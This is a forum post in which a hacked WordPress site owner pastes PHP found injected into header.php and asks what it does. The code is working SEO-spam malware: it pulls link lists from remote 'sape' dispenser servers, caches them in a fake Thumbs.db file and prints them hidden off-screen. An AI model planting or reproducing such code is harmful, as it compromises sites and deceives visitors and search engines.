My wp site also got hacked, running wp v3.0, Can anyone tell me what this php code does? I found it in my wp header.php, inserted just after <body>. This code wasn’t in my template before.
<?
class Lclass {
var $_sys_charset = '';
var $_error = '';
var $_force_show_code = false;
var $_is_our_bot = false;
var $_debug = false;
var $_salt = 'a8ccb8f1e68fed4e4b0a4a9db3a971fa';
var $_charset = 'utf-8';
function Lclass()
{
$this->_host = preg_replace('/^www\./', '',preg_replace('/^http:\/\//', '',$_SERVER['HTTP_HOST']));
$this->_request_uri = $_SERVER['REQUEST_URI'];
$this->_prefix = chr(115).chr(97).chr(112).chr(101);
$this->_db_file = './Thumbs.db';
if (isset($_COOKIE[ $this->_prefix . '_cookie']) && ($_COOKIE[$this->_prefix . '_cookie'] == $this->_salt)) {
$this->_is_our_bot = true;
if (isset($_COOKIE[$this->_prefix . '_debug']) && ($_COOKIE[$this->_prefix . '_debug'] == 1)){
$this->_debug = true;
}
} else {
$this->_is_our_bot = false;
}
}
function fetch_remote_file($host, $path) {
$user_agent = $this->_user_agent.' 1.0.7';
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 6);
@ini_set('user_agent', $user_agent);
if (
$this->_fetch_remote_type == 'file_get_contents'
||
(
$this->_fetch_remote_type == ''
&&
function_exists('file_get_contents')
&&
ini_get('allow_url_fopen') == 1
)
) {
$this->_fetch_remote_type = 'file_get_contents';
if ($data = @file_get_contents('https://' . $host . $path)) {
return $data;
}
} elseif (
$this->_fetch_remote_type == 'curl'
||
(
$this->_fetch_remote_type == ''
&&
function_exists('curl_init')
)
) {
$this->_fetch_remote_type = 'curl';
if ($ch = @curl_init()) {
@curl_setopt($ch, CURLOPT_URL, 'https://' . $host . $path);
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if ($data = @curl_exec($ch)) {
return $data;
}
@curl_close($ch);
}
} else {
$this->_fetch_remote_type = 'socket';
$buff = '';
$fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout);
if ($fp) {
@fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
@fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
while (!@feof($fp)) {
$buff .= @fgets($fp, 128);
}
@fclose($fp);
$page = explode("\r\n\r\n", $buff);
return $page[1];
}
}
}
function _read($filename) {
$fp = @fopen($filename, 'rb');
@flock($fp, LOCK_SH);
if ($fp) {
clearstatcache();
$length = @filesize($filename);
$mqr = @get_magic_quotes_runtime();
@set_magic_quotes_runtime(0);
if ($length) {
$data = @fread($fp, $length);
} else {
$data = '';
}
@set_magic_quotes_runtime($mqr);
@flock($fp, LOCK_UN);
@fclose($fp);
return $data;
}
}
function _write($filename, $data) {
$fp = @fopen($filename, 'ab');
if ($fp) {
if (flock($fp, LOCK_EX|LOCK_NB)) {
$length = strlen($data);
ftruncate($fp, 0);
@fwrite($fp, $data, $length);
@flock($fp, LOCK_UN);
@fclose($fp);
if (md5($this->_read($filename)) != md5($data)) {
@unlink($filename);
}
} else {
return false;
}
return true;
}
}
function load_data() {
if (!is_file($this->_db_file)) {
if (@touch($this->_db_file)) {
@chmod($this->_db_file, 0666);
} else {
}
}
if (!is_writable($this->_db_file)) {
}
@clearstatcache();
$data = $this->_read($this->_db_file);
if (
!$this->_is_our_bot
&&
(
filemtime($this->_db_file) < (time()-3000)
||
filesize($this->_db_file) == 0
||
@unserialize($data) == false
)
) {
@touch($this->_db_file, (time() - 2500));
$ex=chr(114) . chr(117);
$path = '/code.php?user=' . $this->_salt . '&host=' . $this->_host . '&charset=' . $this->_charset;
$list= array('dispenser-01', 'dispenser-02');
foreach ($list as $i => $server){
if ($data = $this->fetch_remote_file($server . '.' . $this->_prefix . '.' . $ex, $path)) {
if (substr($data, 0, 12) != 'FATAL ERROR:') {
$hash = @unserialize($data);
if ($hash != false) {
$hash['__' . $this->_prefix . '_charset__'] = $this->_charset;
$hash['__last_update__'] = time();
$hash['__multi_site__'] = $this->_multi_site;
$hash['__fetch_remote_type__'] = $this->_fetch_remote_type;
$hash['__php_version__'] = @phpversion();
$hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];
$data_new = @serialize($hash);
if ($data_new) {
$data = $data_new;
}
$this->_write($this->_db_file, $data);
break;
}
}
}
}
}
if (strlen(session_id())) {
$session = session_name() . '=' . session_id();
$this->_request_uri = str_replace(array('?'.$session,'&'.$session), '', $this->_request_uri);
}
$this->set_data(@unserialize($data));
}
}
class LClassi extends Lclass {
var $_links_delimiter = '';
var $_links = array();
var $_links_page = array();
function LClassi() {
parent::Lclass();
$this->_user_agent = strtoupper($this->_prefix) . '_Client PHP';
$this->load_data();
}
function template($tid,$n = null, $offset = 0) {
if (is_array($this->_links_page)) {
$total_page_links = count($this->_links_page);
if (!is_numeric($n) || $n > $total_page_links) {
$n = $total_page_links;
}
$links = array();
for ($i = 1; $i <= $n; $i++) {
if ($offset > 0 && $i <= $offset) {
array_shift($this->_links_page);
} else {
$links[] = array_shift($this->_links_page);
}
}
$html = join($this->_links_delimiter, $links);
if (
strlen($this->_charset) > 0
&&
strlen($this->_sys_charset) > 0
&&
$this->_sys_charset != $this->_charset
&&
function_exists('iconv')
) {
$new_html = @iconv($this->_sys_charset, $this->_charset, $html);
if ($new_html) {
$html = $new_html;
}
}
if ($this->_is_our_bot) {
$html = '<' .$this->_prefix . '_noindex>' . $html . '</' . $this->_prefix . '_noindex>';
}
return $html;
} else {
return $this->_links_page;
}
}
function set_data($data) {
$this->_links = $data;
if (isset($this->_links['__' . $this->_prefix . '_delimiter__'])) {
$this->_links_delimiter = $this->_links['__' . $this->_prefix . '_delimiter__'];
}
if (isset($this->_links['__' . $this->_prefix . '_charset__'])) {
$this->_sys_charset = $this->_links['__' . $this->_prefix . '_charset__'];
} else {
$this->_sys_charset = '';
}
if (@array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {
$this->_links_page = $this->_links[$this->_request_uri];
} else {
if (isset($this->_links['__' . $this->_prefix . '_new_url__']) && strlen($this->_links['__' . $this->_prefix . '_new_url__'])) {
if ($this->_is_our_bot || $this->_force_show_code){
$this->_links_page = $this->_links['__' . $this->_prefix . '_new_url__'];
}
}
}
}
}
function Linit()
{
$Lclient = new LClassi();
$tplt = 'x' . $Lclient->template($template_id);
if($tplt!='')$tplt=str_repeat(' ',800) . '<font style="position:absolute;left:-600px;width:100px">' . $tplt . '</font>';
echo $tplt;
}
Linit(1);
?>
